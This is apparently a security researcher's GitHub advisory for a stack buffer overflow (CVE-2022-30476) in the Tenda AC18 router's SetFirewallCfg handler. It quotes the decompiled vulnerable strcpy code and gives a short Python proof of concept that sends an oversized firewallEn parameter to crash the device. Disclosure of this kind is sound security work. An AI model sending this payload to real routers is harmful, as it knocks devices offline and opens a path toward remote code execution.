lcyfrank [*] Some CNVDs are assigned ... on Jun 5 History

..

README.md	6 months ago
vuln.png	7 months ago

README.md

Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/SetFirewallCfg` page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function `formSetFirewallCfg` .

In function `formSetFirewallCfg` it reads user provided parameter `firewallEn` into `src` , and this variable is passed into function `strcpy` without any length check, which may overflow the stack-based buffer `dest` .

```
41  v28 = 0;
42  v11 = 0;
43  v12 = 0;
44  v13 = 0;
45  memset(v14, 0, sizeof(v14));
46  memset(v9, 0, sizeof(v9));
47  src = (char *)websgetvar(a1, "firewallEn", (int)"1111");
48  value = (char *)strlen(src);
49  if ( (unsigned int)Value > 3 )
50  {
51    strcpy(dest, src);
52    GetValue((int)"security.ddos.map", (int)s);
53    GetValue((int)"firewall.pingwan", (int)v18);
54    sprintf(
55      nptr,
56      "%c,1500;%c,1500;%c,1500",
57      (unsigned __int8)dest[0],
58      (unsigned __int8)dest[2],
59      (unsigned __int8)dest[1]);
60    SetValue((int)"security.ddos.map", (int)nptr);
61    SetValue((int)"firewall.pingwan", (int)&dest[3]);
```

So by requesting the page `/goform/SetFirewallCfg` , the attacker can easily perform a **Deny of Service Attack** or **Remote Code Execution** with carefully crafted overflow data.

PoC

```python
import requests

IP = "10.10.10.1"
url = f"http://{IP}/goform/SetFirewallCfg?"
url += "firewallEn=" + "s" * 0x500

response = requests.get(url)
```

Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30476)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41847)

Acknowledge

Credit to @peanuts and @cylin from IIE, CAS.